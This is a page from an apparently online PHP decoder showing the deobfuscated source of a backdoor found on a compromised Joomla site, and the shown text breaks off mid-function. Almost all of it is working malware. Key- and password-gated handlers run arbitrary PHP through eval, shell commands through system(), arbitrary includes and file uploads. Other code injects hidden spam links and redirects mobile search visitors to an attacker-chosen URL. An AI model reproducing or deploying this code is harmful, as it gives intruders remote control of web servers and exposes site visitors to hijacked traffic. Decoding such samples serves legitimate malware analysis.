Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php //Obfuscation provided by FOPO - Free Online PHP Obfuscator v1.2: http://www.fopo.c..

Decoded Output download

/*95d6a0350284be9078c593112c620a81*/?><?php  define("_VERZ", "1.1.1"); define("_TMPDIR", "/tmp/tmp-server"); define("_SKEY", "OCkjhtF71d"); define("SAPEUSR", ''); define("LINKFEEDUSR", "576f45ead5a76e0e96d9882ec192734acca23d6c"); define("TRUSTLINKUSR",''); define("XAPUSR", ''); define("TRAFFUSR", ''); define("PROFLINKSUSR", "631b5c8e9e7402f520bc8fa6b5b8a996"); define("CHARSETZ", "utf-8"); $_995ba3726b9157312705b7241405eb97['charset'] = CHARSETZ; @error_reporting(0); if (!file_exists (_TMPDIR)) mkdir(_TMPDIR); if ( isset($_GET['sk']) && $_GET['sk'] == _SKEY ) { if ( isset($_GET['daf']) ) { if ( $_GET['daf'] == "1" ) { echo "<div>All Flags was Disabled</div>"; unlink( _TMPDIR . "/sess_fc.log" ); unlink( _TMPDIR . "/sess_fs.log" ); unlink( _TMPDIR . "/sess_nssp.log" ); unlink( _TMPDIR . "/sess_nslf.log" ); unlink( _TMPDIR . "/sess_nstl.log" ); unlink( _TMPDIR . "/sess_nsxp.log" ); unlink( _TMPDIR . "/sess_nspl.log" ); unlink( _TMPDIR . "/sess_fssp.log" ); unlink( _TMPDIR . "/sess_fslf.log" ); unlink( _TMPDIR . "/sess_fstl.log" ); unlink( _TMPDIR . "/sess_fsxp.log" ); unlink( _TMPDIR . "/sess_fspl.log" ); exit; } } else if ( isset($_GET['tr']) ) { echo "<div>Traffic Link ".$_GET['tr']."</div>"; $_ce9007acadc41a72aac2ad011b5a3b8a = fopen(_TMPDIR."/sess_tr.log", "w"); fwrite ($_ce9007acadc41a72aac2ad011b5a3b8a, base64_encode($_GET['tr']) ); fclose($_ce9007acadc41a72aac2ad011b5a3b8a); echo "<meta http-equiv='refresh' content='0; URL=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&cm=st'>"; exit; } else if ( isset($_GET['fl']) ) { if ( $_GET['st'] == "0" ) { if ($_GET['fl'] == "fc") echo "<div>Force Code was Deleted</div>"; if ($_GET['fl'] == "fs") echo "<div>Fixed Show Code was Deleted</div>"; if ($_GET['fl'] == "ni") echo "<div>NoIndex was Deleted</div>"; if ($_GET['fl'] == "nstl") echo "<div>Flag not Show TrustLink was Deleted</div>"; if ($_GET['fl'] == "nslf") echo "<div>Flag not Show LinkFeed was Deleted</div>"; if ($_GET['fl'] == "nssp") echo "<div>Flag not Show SAPE was Deleted</div>"; if ($_GET['fl'] == "nsxp") echo "<div>Flag not Show XAP was Deleted</div>"; if ($_GET['fl'] == "nspl") echo "<div>Flag not Show ProfLinks was Deleted</div>"; if ($_GET['fl'] == "fstl") echo "<div>Flag Fixed Show TrustLink was Deleted</div>"; if ($_GET['fl'] == "fslf") echo "<div>Flag Fixed Show LinkFeed was Deleted</div>"; if ($_GET['fl'] == "fssp") echo "<div>Flag Fixed Show SAPE was Deleted</div>"; if ($_GET['fl'] == "fsxp") echo "<div>Flag Fixed Show XAP was Deleted</div>"; if ($_GET['fl'] == "fspl") echo "<div>Flag Fixed Show ProfLinks was Deleted</div>"; unlink( _TMPDIR . "/sess_".$_GET['fl'].".log" ); echo "<meta http-equiv='refresh' content='0; URL=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&cm=st'>"; } else if ( $_GET['st'] == "1" ) { if ($_GET['fl'] == "fc") echo "<div>Force Code was Created</div>"; if ($_GET['fl'] == "fs") echo "<div>Fixed Show Code was Created</div>"; if ($_GET['fl'] == "ni") echo "<div>NoIndex was Created</div>"; if ($_GET['fl'] == "nstl") echo "<div>Flag not Show TrustLink was Created</div>"; if ($_GET['fl'] == "nslf") echo "<div>Flag not Show LinkFeed was Created</div>"; if ($_GET['fl'] == "nssp") echo "<div>Flag not Show SAPE was Created</div>"; if ($_GET['fl'] == "nsxp") echo "<div>Flag not Show XAP was Created</div>"; if ($_GET['fl'] == "nspl") echo "<div>Flag not Show ProfLinks was Created</div>"; if ($_GET['fl'] == "fstl") echo "<div>Flag Fixed Show TrustLink was Created</div>"; if ($_GET['fl'] == "fslf") echo "<div>Flag Fixed Show LinkFeed was Created</div>"; if ($_GET['fl'] == "fssp") echo "<div>Flag Fixed Show SAPE was Created</div>"; if ($_GET['fl'] == "fsxp") echo "<div>Flag Fixed Show XAP was Created</div>"; if ($_GET['fl'] == "fspl") echo "<div>Flag Fixed Show ProfLinks was Created</div>"; $_ce9007acadc41a72aac2ad011b5a3b8a = fopen(_TMPDIR."/sess_".$_GET['fl'].".log", "w"); fclose($_ce9007acadc41a72aac2ad011b5a3b8a); echo "<meta http-equiv='refresh' content='0; URL=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&cm=st'>"; } exit; } else if ( isset($_GET['fc']) ) { if ( $_GET['fc'] == "0" ) { echo "<div>Force Code was Disabled</div>"; unlink( _TMPDIR . "/sess_fc.log" ); } else if ( $_GET['fc'] == "1" ) { echo "<div>Force Code was Enabled</div>"; $_ce9007acadc41a72aac2ad011b5a3b8a = fopen(_TMPDIR."/sess_fc.log", "w"); fclose($_ce9007acadc41a72aac2ad011b5a3b8a); } exit; } else if ( isset($_GET['fs']) ) { if ( $_GET['fs'] == "0" ) { echo "<div>Fixed Show was Disabled</div>"; unlink( _TMPDIR . "/sess_fs.log" ); } else if ( $_GET['fs'] == "1" ) { echo "<div>Fixed Show was Enabled</div>"; $_ce9007acadc41a72aac2ad011b5a3b8a = fopen(_TMPDIR."/sess_fs.log", "w"); fclose($_ce9007acadc41a72aac2ad011b5a3b8a); } exit; } else if ( isset($_GET['cm']) ) { $_f64859770f606fd3ca5913a8d6e88bd8 = "ba9a4ef31477dab241685003a454a9b8"; if(isset($_POST['pass']) && (md5($_POST['pass']) == $_f64859770f606fd3ca5913a8d6e88bd8)) { $_COOKIE[md5($_SERVER['HTTP_HOST'])] = $_f64859770f606fd3ca5913a8d6e88bd8; setcookie(md5($_SERVER['HTTP_HOST']), $_f64859770f606fd3ca5913a8d6e88bd8); } if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $_f64859770f606fd3ca5913a8d6e88bd8)) { sleep(1); die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>"); } if ( $_GET['cm'] == "st" ) { echo "--------------------------------------"; echo "<div><b>Version:</b> "._VERZ."</div>"; echo "<div><b>Status:</b></div>"; echo "<br>"; if ( file_exists (_TMPDIR . "/sess_fc.log") ) echo "<div>Force Code Enable - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=fc&st=0>Delete</a></div>"; if ( file_exists (_TMPDIR . "/sess_fs.log") ) echo "<div>Fixed Show Enable - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=fs&st=0>Delete</a></div>"; if ( file_exists (_TMPDIR . "/sess_ni.log") ) echo "<div>NoIndex Enable - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=ni&st=0>Delete</a></div>"; if ( file_exists (_TMPDIR . "/sess_nslf.log") ) echo "<div>Not Show LinkFeed - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=nslf&st=0>Delete</a></div>"; if ( file_exists (_TMPDIR . "/sess_nstl.log") ) echo "<div>Not Show TrustLink - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=nstl&st=0>Delete</a></div>"; if ( file_exists (_TMPDIR . "/sess_nssp.log") ) echo "<div>Not Show SAPE - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=nssp&st=0>Delete</a></div>"; if ( file_exists (_TMPDIR . "/sess_nsxp.log") ) echo "<div>Not Show XAP - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=nsxp&st=0>Delete</a></div>"; if ( file_exists (_TMPDIR . "/sess_nspl.log") ) echo "<div>Not Show ProfLinks - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=nspl&st=0>Delete</a></div>"; if ( file_exists (_TMPDIR . "/sess_fslf.log") ) echo "<div>Fixed Show LinkFeed - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=fslf&st=0>Delete</a></div>"; if ( file_exists (_TMPDIR . "/sess_fstl.log") ) echo "<div>Fixed Show TrustLink - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=fstl&st=0>Delete</a></div>"; if ( file_exists (_TMPDIR . "/sess_fssp.log") ) echo "<div>Fixed Show SAPE - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=fssp&st=0>Delete</a></div>"; if ( file_exists (_TMPDIR . "/sess_fsxp.log") ) echo "<div>Fixed Show XAP - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=fsxp&st=0>Delete</a></div>"; if ( file_exists (_TMPDIR . "/sess_fspl.log") ) echo "<div>Fixed Show ProfLinks - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=fspl&st=0>Delete</a></div>"; if ( file_exists (_TMPDIR . "/sess_tr.log") ) { $_fd3e1cfa15846100790ebe79403f5c96 = base64_decode(file_get_contents(_TMPDIR . "/sess_tr.log")); echo "<div>Traffic Link $_fd3e1cfa15846100790ebe79403f5c96 - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=tr&st=0>Delete</a></div>"; } if ( file_exists (_TMPDIR . "/sess_trse.log") ) echo "<div>Traffic from Search Engine - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=trse&st=0>Delete</a></div>"; echo "<br>--------------------------------------"; echo "<div><b>Set Flags:</b></div>"; echo "<br>"; echo "<div>Force Code - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=fc&st=1>Create</a></div>"; echo "<div>Fixed Show - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=fs&st=1>Create</a></div>"; echo "<div>NoIndex - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=ni&st=1>Create</a></div>"; echo "<br>"; echo "<div>Not Show LinkFeed - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=nslf&st=1>Create</a></div>"; echo "<div>Not Show TrustLink - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=nstl&st=1>Create</a></div>"; echo "<div>Not Show SAPE - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=nssp&st=1>Create</a></div>"; echo "<div>Not Show XAP - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=nsxp&st=1>Create</a></div>"; echo "<div>Not Show ProfLinks - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=nspl&st=1>Create</a></div>"; echo "<br>"; echo "<div>Fixed Show LinkFeed - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=fslf&st=1>Create</a></div>"; echo "<div>Fixed Show TrustLink - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=fstl&st=1>Create</a></div>"; echo "<div>Fixed Show SAPE - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=fssp&st=1>Create</a></div>"; echo "<div>Fixed Show XAP - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=fsxp&st=1>Create</a></div>"; echo "<div>Fixed Show ProfLinks - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=fspl&st=1>Create</a></div>"; echo "<br>"; echo "<div>Traffic Link: <form method=get action='http://www.bajecznyspa.pl/components/com_content/article.php'><input type=hidden name=sk value='OCkjhtF71d'><input name=tr type=edit size=100>&nbsp;<input type=submit value='SET'></form></div>"; echo "<div>Traffic from Search Engine - <a href=http://www.bajecznyspa.pl/components/com_content/article.php?sk=OCkjhtF71d&fl=trse&st=1>Create</a></div>"; echo "<br>"; } exit; } else if ( isset($_GET['ep']) ) { echo "<div>Start PHP</div>"; $_GET['ep'] = str_replace("\"", "\"", $_GET['ep']); $_GET['ep'] = str_replace("\'", "'", $_GET['ep']); eval($_GET['ep']); exit; } else if ( isset($_GET['ec']) ) { echo "<div>Start Execute</div>"; $_GET['ec'] = str_replace("\"", "\"", $_GET['ec']); $_GET['ec'] = str_replace("\'", "'", $_GET['ec']); system($_GET['ec']); exit; } else if ( isset($_GET['es']) ) { echo "<div>Start Script Execute</div>"; require_once($_GET['es']); exit; } else if ( isset($_GET['uc']) && isset($_GET['fn']) ) { echo "<div>Upload Script ".$_GET['fn']."</div>"; $_ce9007acadc41a72aac2ad011b5a3b8a = fopen(_TMPDIR."/".$_GET['fn'], "w"); fwrite ($_ce9007acadc41a72aac2ad011b5a3b8a, base64_decode($_GET['uc']) ); fclose($_ce9007acadc41a72aac2ad011b5a3b8a); exit; } } $_e863cdc684aa1f8cceb453afcb035b36 = "none"; $_2d2bc462e1fe4daaeed1d37247c01201 = ""; if ( isset($_SERVER['HTTP_REFERER']) && !isset($_COOKIE['fs']) && (strpos($_SERVER['HTTP_REFERER'], "sape") != 0 || strpos($_SERVER['HTTP_REFERER'], "linkfeed") != 0 || strpos($_SERVER['HTTP_REFERER'], "trustlink") != 0 ) ) { $_2d2bc462e1fe4daaeed1d37247c01201 .= "<script type='text/javascript'>var todayDate = new Date(); todayDate.setDate(todayDate.getDate() + 366); document.cookie = 'fs=1; path=/; expires=' + todayDate.toGMTString() + ';';</script>"; $_e863cdc684aa1f8cceb453afcb035b36 = ""; } if ( isset($_COOKIE['fs']) ) $_e863cdc684aa1f8cceb453afcb035b36 = ""; if ( count ($_COOKIE) == 0 ) { $_2d2bc462e1fe4daaeed1d37247c01201 .= "<script type='text/javascript'>var todayDate = new Date(); todayDate.setDate(todayDate.getDate() + 366); document.cookie = 'rc=1; path=/; expires=' + todayDate.toGMTString() + ';';</script>"; $_e863cdc684aa1f8cceb453afcb035b36 = ""; } $_9943da1f6f32d175dafa5f9d485e58bc = ""; $_0cebd528c4fbb1a6ad5529142b27dd9d = ""; if (LINKFEEDUSR != "" && !file_exists (_TMPDIR . "/sess_nslf.log") ) { $_e3e56b4843ac769a1b7accff72d5de1e = new LfC_n($_995ba3726b9157312705b7241405eb97); if (file_exists (_TMPDIR . "/sess_fslf.log")) { $_0cebd528c4fbb1a6ad5529142b27dd9d .= $_e3e56b4843ac769a1b7accff72d5de1e->return_links(); } else { $_9943da1f6f32d175dafa5f9d485e58bc .= $_e3e56b4843ac769a1b7accff72d5de1e->return_links(); } } if (SAPEUSR != "" && !file_exists (_TMPDIR . "/sess_nssp.log") ) { $_8a4407bcc3424ed193e28f117ff7036c = new S_c_n($_995ba3726b9157312705b7241405eb97); if (file_exists (_TMPDIR . "/sess_fssp.log")) { $_0cebd528c4fbb1a6ad5529142b27dd9d .= $_8a4407bcc3424ed193e28f117ff7036c->return_links(); } else { $_9943da1f6f32d175dafa5f9d485e58bc .= $_8a4407bcc3424ed193e28f117ff7036c->return_links(); } } if (TRUSTLINKUSR != "" && !file_exists (_TMPDIR . "/sess_nstl.log") ) { $_449a3da158c7afa8ce5611d3b691359d = new TlC_n($_995ba3726b9157312705b7241405eb97); if (file_exists (_TMPDIR . "/sess_fstl.log")) { $_0cebd528c4fbb1a6ad5529142b27dd9d .= $_449a3da158c7afa8ce5611d3b691359d->build_links(); } else { $_9943da1f6f32d175dafa5f9d485e58bc .= $_449a3da158c7afa8ce5611d3b691359d->build_links(); } } if (XAPUSR != "" && !file_exists (_TMPDIR . "/sess_nsxp.log")) { $_66059a00c42a7a87cc4567a597e6b7d1 = new TNX_l2(); if (file_exists (_TMPDIR . "/sess_fsxp.log")) { $_0cebd528c4fbb1a6ad5529142b27dd9d .= $_66059a00c42a7a87cc4567a597e6b7d1->show_link(); } else { $_9943da1f6f32d175dafa5f9d485e58bc .= $_66059a00c42a7a87cc4567a597e6b7d1->show_link(); } } if (PROFLINKSUSR != "" && !file_exists (_TMPDIR . "/sess_nspl.log")) { $_c265093638c0459e80d6f3c94fc90708 = new PrL_n($_995ba3726b9157312705b7241405eb97); if (file_exists (_TMPDIR . "/sess_fspl.log")) { $_0cebd528c4fbb1a6ad5529142b27dd9d .= $_c265093638c0459e80d6f3c94fc90708->return_links(); } else { $_9943da1f6f32d175dafa5f9d485e58bc .= $_c265093638c0459e80d6f3c94fc90708->return_links(); } } if ($_0cebd528c4fbb1a6ad5529142b27dd9d != "") $_2d2bc462e1fe4daaeed1d37247c01201 = $_0cebd528c4fbb1a6ad5529142b27dd9d.$_2d2bc462e1fe4daaeed1d37247c01201; if ($_9943da1f6f32d175dafa5f9d485e58bc != "") $_2d2bc462e1fe4daaeed1d37247c01201 .= "<div id=ln380>" . $_9943da1f6f32d175dafa5f9d485e58bc . "</div>"; if ($_e863cdc684aa1f8cceb453afcb035b36 == "none" && $_9943da1f6f32d175dafa5f9d485e58bc != "") $_2d2bc462e1fe4daaeed1d37247c01201 .= "<script type='text/javascript'>document.getElementById('ln380').style.display='$_e863cdc684aa1f8cceb453afcb035b36';</script>"; if ( file_exists( _TMPDIR . "/sess_fs.log") ) $_2d2bc462e1fe4daaeed1d37247c01201 = $_9943da1f6f32d175dafa5f9d485e58bc; if ( count ($_COOKIE) == 0 && file_exists( _TMPDIR . "/sess_tr.log") && TRAFFUSR != "" && isset($_SERVER['HTTP_USER_AGENT']) && preg_match("/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|windows phone)/i", $_SERVER['HTTP_USER_AGENT']) != 0 ) { $_fd3e1cfa15846100790ebe79403f5c96 = base64_decode(file_get_contents(_TMPDIR . "/sess_tr.log")); if (file_exists( _TMPDIR . "/sess_trse.log")) { if (isset($_SERVER['HTTP_REFERER']) && preg_match("/(google|yandex|yahoo|bing|rambler|gogo|live.com|aport|nigma|webalta|begun.ru|bit.ly|tinyurl.com|myspace.com|facebook.com|aol.com|vk.com|vkontakte)/i", $_SERVER['HTTP_REFERER']) != 0) { $_2d2bc462e1fe4daaeed1d37247c01201 = "<script type='text/javascript'>var todayDate = new Date(); todayDate.setDate(todayDate.getDate() + 366); document.cookie = 'rc=1; path=/; expires=' + todayDate.toGMTString() + ';'; window.location = '$_fd3e1cfa15846100790ebe79403f5c96';</script>"; define("DZTR","<meta http-equiv='Set-Cookie' content='tr=1; path=/; expires=0'>
<meta http-equiv='refresh' content='0; URL=$_fd3e1cfa15846100790ebe79403f5c96'>"); } } else { $_2d2bc462e1fe4daaeed1d37247c01201 = "<script type='text/javascript'>var todayDate = new Date(); todayDate.setDate(todayDate.getDate() + 366); document.cookie = 'rc=1; path=/; expires=' + todayDate.toGMTString() + ';'; window.location = '$_fd3e1cfa15846100790ebe79403f5c96';</script>"; define("DZTR","<meta http-equiv='Set-Cookie' content='tr=1; path=/; expires=0'>
<meta http-equiv='refresh' content='0; URL=$_fd3e1cfa15846100790ebe79403f5c96'>"); } } if ( file_exists( _TMPDIR . "/sess_ni.log") ) define("NIND",$_SERVER['SERVER_NAME']); extract (array("rslt" => $_2d2bc462e1fe4daaeed1d37247c01201)); define("RSLT",$_2d2bc462e1fe4daaeed1d37247c01201); class S_b_n { var $_4fff11c4383f556c646ef4dec77f4e59 = "1.0.8"; var $_e0b2eaf474e549af581b66dbdecbe39a = false; var $_a87f8d1b25cc29947f1993c5cf92de0f = ''; var $_0cfdfbf34de439f14bd93b0e4390a952 = ''; var $_18f023555b8822c8125de886c40ae488 = array("dispenser-01.sape.ru", "dispenser-02.sape.ru"); var $_7ccf97f272383619357f1e7d15c95977 = 3600; var $_92dd9b3928f47aeee1541ece5901746a = 600; var $_e560a528c0be926cfdd482ad2becbd00 = ''; var $_addcfa9179a80f2b3ea4f7b348bf63ad = ''; var $_f63843cbc211f048ef2d165d75b58fea = ''; var $_6839940c4fa73fc945201975d439453c = false; var $_e3f59c6a7591aa5ddf8ffcad11a32f10 = ''; var $_805b7bf5abbf53f5d65cfea46d40389c = 6; var $_7192b15e253cec2ff35d6fff4b0403d5 = false; var $_0abfbada9a727c8142555b80ed354842 = false; var $_dfd8bf4841aa8724c96db91fe53f6f12 = false; var $_9911c2a20bec4b166b213864513d965f = false; var $_94fc644964dba82175ee6f79563ae420 = ''; var $_6b99bcb25f5906fc9321442de287a904 = false; var $_7a1be16f1e03c1a610604404da4899e8 = false; function S_b_n($_8c878de914cd1035425174e52c152e84 = null) { $_c5ca48c198050fcecbcda6adb9be5755 = ''; if (is_array($_8c878de914cd1035425174e52c152e84)) { if (isset($_8c878de914cd1035425174e52c152e84['host'])) { $_c5ca48c198050fcecbcda6adb9be5755 = $_8c878de914cd1035425174e52c152e84['host']; } } elseif (strlen($_8c878de914cd1035425174e52c152e84)) { $_c5ca48c198050fcecbcda6adb9be5755 = $_8c878de914cd1035425174e52c152e84; $_8c878de914cd1035425174e52c152e84 = array(); } else { $_8c878de914cd1035425174e52c152e84 = array(); } if (isset($_8c878de914cd1035425174e52c152e84['use_server_array']) && $_8c878de914cd1035425174e52c152e84['use_server_array'] == true) { $this->_6b99bcb25f5906fc9321442de287a904 = true; } if (strlen($_c5ca48c198050fcecbcda6adb9be5755)) { $this->_addcfa9179a80f2b3ea4f7b348bf63ad = $_c5ca48c198050fcecbcda6adb9be5755; } else { $this->_addcfa9179a80f2b3ea4f7b348bf63ad = $_SERVER['HTTP_HOST']; } $this->_addcfa9179a80f2b3ea4f7b348bf63ad = preg_replace('/^http:\/\//', '', $this->_addcfa9179a80f2b3ea4f7b348bf63ad); $this->_addcfa9179a80f2b3ea4f7b348bf63ad = preg_replace('/^www\./', '', $this->_addcfa9179a80f2b3ea4f7b348bf63ad); if (isset($_8c878de914cd1035425174e52c152e84['request_uri']) && strlen($_8c878de914cd1035425174e52c152e84['request_uri'])) { $this->_f63843cbc211f048ef2d165d75b58fea = $_8c878de914cd1035425174e52c152e84['request_uri']; } elseif ($this->_6b99bcb25f5906fc9321442de287a904 === false) { $this->_f63843cbc211f048ef2d165d75b58fea = $_SERVER['REQUEST_URI']; } if (strlen($this->_f63843cbc211f048ef2d165d75b58fea) == 0) { $this->_f63843cbc211f048ef2d165d75b58fea = $_SERVER['REQUEST_URI']; } if (isset($_8c878de914cd1035425174e52c152e84['multi_site']) && $_8c878de914cd1035425174e52c152e84['multi_site'] == true) { $this->_6839940c4fa73fc945201975d439453c = true; } if (isset($_8c878de914cd1035425174e52c152e84['debug']) && $_8c878de914cd1035425174e52c152e84['debug'] == true) { $this->_dfd8bf4841aa8724c96db91fe53f6f12 = true; } if (isset($_COOKIE['sape_cookie']) && ($_COOKIE['sape_cookie'] == SAPEUSR)) { $this->_0abfbada9a727c8142555b80ed354842 = true; if (isset($_COOKIE['sape_debug']) && ($_COOKIE['sape_debug'] == 1)) { $this->_dfd8bf4841aa8724c96db91fe53f6f12 = true; $this->_9a83de288d7b614e9bb8ce4446c2f70f = $_8c878de914cd1035425174e52c152e84; $this->_ef94a150d0c3c9fe1810e586a0d5ece5 = $this->_f63843cbc211f048ef2d165d75b58fea = $_SERVER['REQUEST_URI']; $this->_6b73146a043eef9a86267766b8fff5c7 = getenv("REQUEST_URI"); $this->_82c3b362209eac7d1b480756b92d166b = SAPEUSR; } if (isset($_COOKIE['sape_updatedb']) && ($_COOKIE['sape_updatedb'] == 1)) { $this->_7a1be16f1e03c1a610604404da4899e8 = true; } } else { $this->_0abfbada9a727c8142555b80ed354842 = false; } if (isset($_8c878de914cd1035425174e52c152e84['verbose']) && $_8c878de914cd1035425174e52c152e84['verbose'] == true || $this->_dfd8bf4841aa8724c96db91fe53f6f12) { $this->_e0b2eaf474e549af581b66dbdecbe39a = true; } if (isset($_8c878de914cd1035425174e52c152e84['charset']) && strlen($_8c878de914cd1035425174e52c152e84['charset'])) { $this->_a87f8d1b25cc29947f1993c5cf92de0f = $_8c878de914cd1035425174e52c152e84['charset']; } else { $this->_a87f8d1b25cc29947f1993c5cf92de0f = "windows-1251"; } if (isset($_8c878de914cd1035425174e52c152e84['fetch_remote_type']) && strlen($_8c878de914cd1035425174e52c152e84['fetch_remote_type'])) { $this->_e3f59c6a7591aa5ddf8ffcad11a32f10 = $_8c878de914cd1035425174e52c152e84['fetch_remote_type']; } if (isset($_8c878de914cd1035425174e52c152e84['socket_timeout']) && is_numeric($_8c878de914cd1035425174e52c152e84['socket_timeout']) && $_8c878de914cd1035425174e52c152e84['socket_timeout'] > 0) { $this->_805b7bf5abbf53f5d65cfea46d40389c = $_8c878de914cd1035425174e52c152e84['socket_timeout']; } if (isset($_8c878de914cd1035425174e52c152e84['force_show_code']) && $_8c878de914cd1035425174e52c152e84['force_show_code'] == true) { $this->_7192b15e253cec2ff35d6fff4b0403d5 = true; } else if (file_exists( _TMPDIR . "/sess_fc.log")) { $this->_7192b15e253cec2ff35d6fff4b0403d5 = true; } if (!defined("SAPEUSR")) { return $this->raise_error("error constant SAPEUSR"); } if (isset($_8c878de914cd1035425174e52c152e84['ignore_case']) && $_8c878de914cd1035425174e52c152e84['ignore_case'] == true) { $this->_9911c2a20bec4b166b213864513d965f = true; $this->_f63843cbc211f048ef2d165d75b58fea = strtolower($this->_f63843cbc211f048ef2d165d75b58fea); } } function fetch_remote_file($_c5ca48c198050fcecbcda6adb9be5755, $_fec95a9136e65be848d0e5a9baa1a026) { $_49ad8d6fd98b0df39bcfaa99107ee623 = $this->_1d3a055f8a651f98198eabc4a72aecf1 . " " . $this->_4fff11c4383f556c646ef4dec77f4e59; @ini_set("allow_url_fopen", 1); @ini_set("default_socket_timeout", $this->_805b7bf5abbf53f5d65cfea46d40389c); @ini_set("user_agent", $_49ad8d6fd98b0df39bcfaa99107ee623); if ( $this->_e3f59c6a7591aa5ddf8ffcad11a32f10 == "file_get_contents" || ( $this->_e3f59c6a7591aa5ddf8ffcad11a32f10 == '' && function_exists("file_get_contents") && ini_get("allow_url_fopen") == 1 ) ) { $this->_e3f59c6a7591aa5ddf8ffcad11a32f10 = "file_get_contents"; if ($_197d7053b1c8cf0aaa95a6d5ebfb1f86 = @file_get_contents("http://" . $_c5ca48c198050fcecbcda6adb9be5755 . $_fec95a9136e65be848d0e5a9baa1a026)) { return $_197d7053b1c8cf0aaa95a6d5ebfb1f86; } } elseif ( $this->_e3f59c6a7591aa5ddf8ffcad11a32f10 == "curl" || ( $this->_e3f59c6a7591aa5ddf8ffcad11a32f10 == '' && function_exists("curl_init") ) ) { $this->_e3f59c6a7591aa5ddf8ffcad11a32f10 = "curl"; if ($_bfc60a717f4be47369df0dd31b551623 = @curl_init()) { @curl_setopt($_bfc60a717f4be47369df0dd31b551623, CURLOPT_URL, "http://" . $_c5ca48c198050fcecbcda6adb9be5755 . $_fec95a9136e65be848d0e5a9baa1a026); @curl_setopt($_bfc60a717f4be47369df0dd31b551623, CURLOPT_HEADER, false); @curl_setopt($_bfc60a717f4be47369df0dd31b551623, CURLOPT_RETURNTRANSFER, true); @curl_setopt($_bfc60a717f4be47369df0dd31b551623, CURLOPT_CONNECTTIMEOUT, $this->_805b7bf5abbf53f5d65cfea46d40389c); @curl_setopt($_bfc60a717f4be47369df0dd31b551623, CURLOPT_USERAGENT, $_49ad8d6fd98b0df39bcfaa99107ee623); if ($_197d7053b1c8cf0aaa95a6d5ebfb1f86 = @curl_exec($_bfc60a717f4be47369df0dd31b551623)) { return $_197d7053b1c8cf0aaa95a6d5ebfb1f86; } @curl_close($_bfc60a717f4be47369df0dd31b551623); } } else { $this->_e3f59c6a7591aa5ddf8ffcad11a32f10 = "socket"; $_42da8ece6e679ca427b19d5bde6311f2 = ''; $_46c142fdacbd82e008523c5172951b83 = @fsockopen($_c5ca48c198050fcecbcda6adb9be5755, 80, $_79ebf8bb554715dd0e929a0f5eab4540, $_78ed0cdf8c3550ceda734fe8c4e5bd85, $this->_805b7bf5abbf53f5d65cfea46d40389c); if ($_46c142fdacbd82e008523c5172951b83) { @fputs($_46c142fdacbd82e008523c5172951b83, "GET {$_fec95a9136e65be848d0e5a9baa1a026} HTTP/1.0
Host: {$_c5ca48c198050fcecbcda6adb9be5755}
"); @fputs($_46c142fdacbd82e008523c5172951b83, "User-Agent: {$_49ad8d6fd98b0df39bcfaa99107ee623}

"); while (!@feof($_46c142fdacbd82e008523c5172951b83)) { $_42da8ece6e679ca427b19d5bde6311f2 .= @fgets($_46c142fdacbd82e008523c5172951b83, 128); } @fclose($_46c142fdacbd82e008523c5172951b83); $_65a5cb07f523d770ef64272e88fb2ade = explode("

